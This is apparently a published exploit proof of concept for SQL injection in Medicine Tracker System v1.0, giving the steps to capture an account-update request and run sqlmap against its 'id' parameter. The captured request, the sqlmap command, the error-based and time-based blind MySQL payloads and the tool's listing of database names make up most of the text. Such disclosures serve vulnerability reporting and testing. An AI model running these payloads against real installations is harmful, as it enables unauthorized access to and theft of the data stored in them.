# Exploit Title: Medicine Tracker System v1.0 - Sql Injection   
# Exploit Author: Sanjay Singh  
# Vendor Homepage:  
# Software Link:  
# Version: V1.0.0  
# Tested on: Windows/Linux  
# Proof of Concept:  
# 1- http://localhost/php-mts/app/login.php  
# 2- login with default credential   
# 3- Click left side Manage account and fill Update User Details and click update account  
# 4- Capture request using burp suite   
# 5- Save request request.txt   
POST /php-mts/classes/Users.php?f=save_user HTTP/1.1  
Host: localhost  
Content-Length: 661  
sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"  
Accept: application/json, text/javascript, */*; q=0.01  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeOo3CzyRX6fHexZx  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36  
sec-ch-ua-platform: "Windows"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/php-mts/app/?page=manage_account  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=ocj11iinu8pn536i3cdia0faql  
Connection: close  
Content-Disposition: form-data; name="id"  
Content-Disposition: form-data; name="firstname"  
Content-Disposition: form-data; name="middlename"  
Content-Disposition: form-data; name="lastname"  
Content-Disposition: form-data; name="username"  
Content-Disposition: form-data; name="password"  
sqlmap -r request.txt -p "id" --dbs --batch   
___ ___["]_____ ___ ___ {1.6.12#stable}   
|_ -| . ['] | .'| . |   
|___|_ [(]_|_|_|__,| _|   
|_|V... |_|   
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
[*] starting @ 13:18:01 /2023-03-21/  
[13:18:01] [INFO] parsing HTTP request from 'request.txt'  
it appears that provided value for POST parameter 'id' has boundaries. Do you want to inject inside? ('' or true*--') [y/N] N  
[13:18:01] [INFO] resuming back-end DBMS 'mysql'   
[13:18:01] [INFO] testing connection to the target URL  
[13:18:01] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests  
sqlmap resumed the following injection point(s) from stored session:  
Parameter: id (POST)  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
Payload: id=' or true AND (SELECT 3138 FROM(SELECT COUNT(*),CONCAT(0x7178787171,(SELECT (ELT(3138=3138,1))),0x717a6b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- mDhI--&name=para&description=ss  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: id=' or true AND (SELECT 8994 FROM (SELECT(SLEEP(5)))doso)-- HjCh--&name=para&description=ss  
[13:18:01] [INFO] the back-end DBMS is MySQL  
web application technology: Apache 2.4.54, PHP 8.0.25  
back-end DBMS: MySQL >= 5.0 (MariaDB fork)  
[13:18:01] [INFO] fetching database names  
[13:18:01] [INFO] resumed: 'information_schema'  
[13:18:01] [INFO] resumed: 'art_gallery'  
[13:18:01] [INFO] resumed: 'hcpms'  
[13:18:01] [INFO] resumed: 'mts_db'  
[13:18:01] [INFO] resumed: 'mysql'  
[13:18:01] [INFO] resumed: 'performance_schema'  
[13:18:01] [INFO] resumed: 'phpmyadmin'  
[13:18:01] [INFO] resumed: 'sscdms_db'  
[13:18:01] [INFO] resumed: 'test'  
available databases [9]:  
[*] art_gallery  
[*] hcpms  
[*] information_schema  
[*] mts_db  
[*] mysql  
[*] performance_schema  
[*] phpmyadmin  
[*] sscdms_db  
[*] test  
[13:18:01] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/'  
[*] ending @ 13:18:01 /2023-03-21/